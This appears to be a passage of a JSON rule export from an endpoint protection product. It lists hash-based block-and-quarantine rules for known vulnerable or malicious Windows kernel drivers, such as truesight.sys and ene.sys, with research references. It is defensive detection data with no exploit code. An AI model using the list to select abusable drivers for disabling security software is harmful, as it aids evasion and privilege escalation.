+  "last_update": "2026-03-23T11:45:29.968350Z",
+  "creation_date": "2026-03-23T11:45:29.968351Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968357Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b45d78a6780f125143dbd198ac2439be78424e7ae37a4234541ecb327dc190c1",
+  "comment": "ENE Technology Inc Vulnerable I/O Driver (aka ene.sys) [https://swapcontext.blogspot.com/2020/08/ene-technology-inc-vulnerable-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b0bdafa1-f131-56b9-bfca-c7335ce4845d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486694Z",
+  "creation_date": "2026-03-23T11:45:31.486697Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486705Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "99b45b19810074d650a66ea02e45c47c2d700fecb0af241f17c2a668022fc5bf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b0c12e72-aed0-5694-bb56-b983a18e86ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140764Z",
+  "creation_date": "2026-03-23T11:45:31.140766Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140771Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fdfe2efb742559b5ab8c16f8db3cfd184ade59496e50d95bc6c6e12ae1165a83",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b0c4eebc-415a-5783-ad1e-26e4f2668eaf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476769Z",
+  "creation_date": "2026-03-23T11:45:30.476773Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476782Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5ebfc2c2fc43fc34cc98378f627e6147af473cb37076f4c2ba278210bd88b2bf",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b0cc75f3-af79-59e6-80e6-43d76c7d0348",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826007Z",
+  "creation_date": "2026-03-23T11:45:31.826009Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826015Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6484833b1554e5113239e79a6ea3265863e4a9e03eb3817b6e15c9bd4cfdacc0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b0d648ed-730b-5b1d-8614-ebe8b7880d39",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152443Z",
+  "creation_date": "2026-03-23T11:45:31.152445Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152453Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8c92f5d0513886ce03745e30a704c34a64f3f70cde9d662f0d655143b3086e4f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b0e3e3d5-051f-56b4-87ad-cc07e4efe3ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144563Z",
+  "creation_date": "2026-03-23T11:45:31.144565Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144570Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "627ef26e42d9c857196d4028d87ca9f7bdb6e6a034a1e157272556840b7e814c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b0e4c212-df36-589d-85de-aba2df9a1aa4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146848Z",
+  "creation_date": "2026-03-23T11:45:31.146850Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146856Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "53b09a961939d2aa82a329634552ad47eb39cbf920454987187bc3bbf29f02da",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b0ec92f6-8d3a-5d6f-93c4-4bfc618f6f69",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146175Z",
+  "creation_date": "2026-03-23T11:45:32.146179Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146187Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "df72cb33a23ae8f6f9dc64bb738fcfaea959368ce05cf399f3c7db5e90104bd7",
+  "comment": "Malicious Kernel Driver (aka 2.sys) [https://www.loldrivers.io/drivers/bb1f80f3-d2fd-463e-9403-57c919bd976b/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b0f50ea9-1782-5ece-8698-046bbf53093d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480209Z",
+  "creation_date": "2026-03-23T11:45:30.480211Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480217Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a369942ce8d4b70ebf664981e12c736ec980dbe5a74585dd826553c4723b1bce",
+  "comment": "Vulnerable Kernel Driver (aka GEDevDrvSYS.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b0f78f32-f498-5dff-bf1f-0b4a0ce0c17d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150286Z",
+  "creation_date": "2026-03-23T11:45:31.150288Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150293Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7bc0fdb1d47f9a657a3af869fe3cbc6895b118875cc448c4406f9a066c9e610e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b0f87ddd-022f-55e1-8b6a-ccb03d2d0266",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160456Z",
+  "creation_date": "2026-03-23T11:45:31.160458Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160464Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "72ca577f73bb6c1c423ca9169850227765f39ae86be8d89d816294b77332079d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b0fb0b76-6396-575d-bed7-47a52216575b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830402Z",
+  "creation_date": "2026-03-23T11:45:30.830405Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830410Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "56749ce01bca38992e4f639991a191463712f04a38ed7e92a737f7077c961392",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b10207c7-11e6-54f0-9782-9542eb82bf27",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143335Z",
+  "creation_date": "2026-03-23T11:45:32.143338Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143343Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "08209cd92723526d56863e89f283750e2ee57c69db37ae501aa889c0c60bb552",
+  "comment": "Vulnerable Kernel Driver (aka iQVW64.SYS) [https://www.loldrivers.io/drivers/4dd3289c-522c-4fce-b48e-5370efc90fa1/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b1153b67-1bd3-53a6-bf61-fc6fce7d604c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828011Z",
+  "creation_date": "2026-03-23T11:45:30.828013Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828019Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d4093dac36e4568b942aa3d409b6b195b98b66f75221cc89ae750f690c901315",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b11f206e-782c-5b2a-9328-a64c163048b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618549Z",
+  "creation_date": "2026-03-23T11:45:29.618551Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618556Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dde12d20a00f7987f6e53eeeee3d5667482940f06d012a0003b80f217a105d74",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b1222eac-a528-527a-bcca-132ebc659adb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830125Z",
+  "creation_date": "2026-03-23T11:45:31.830128Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830137Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5964196f057eac00f73caccae0f54d34c79f921f9c53070ad6308f9ac035c8e1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b1273a07-cd22-52c1-9a81-3507acb2159b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147858Z",
+  "creation_date": "2026-03-23T11:45:31.147860Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147865Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e5747e031599aa68a628608e0a074959a8af6b1f9503bf1dc4a317f95667fa1f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b12ac103-c6ab-5a9c-83a4-a7f8e0c492ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498577Z",
+  "creation_date": "2026-03-23T11:45:31.498580Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498588Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6c51320f954ce1505349fc33e06a5fabcfe3396a9736f79a119199349e99850a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b12b96d9-627f-53b3-ac7e-20a8e13a5bb5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979760Z",
+  "creation_date": "2026-03-23T11:45:29.979762Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979768Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aa833c9e3bcdc33eaf64fd913e80f5b9ce60618f6e3ff4c386420fea4a494380",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b12f89c0-92e1-5b90-aeb4-f1f90d3b7c70",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605559Z",
+  "creation_date": "2026-03-23T11:45:29.605561Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605566Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "28a1e3627deded98e1620b815422ae15f1dd1d4d643b7b92af97412961791a6a",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b137b05b-9361-5a67-9ce5-3503f1a980cb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820142Z",
+  "creation_date": "2026-03-23T11:45:30.820144Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820149Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "047ce557cc7bb580af457c151233b5114de6efbc9bf5e8c919fab453cebe5fa6",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b137bab6-59b2-54b2-b329-f5d07b1b9fc3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485257Z",
+  "creation_date": "2026-03-23T11:45:31.485260Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485270Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
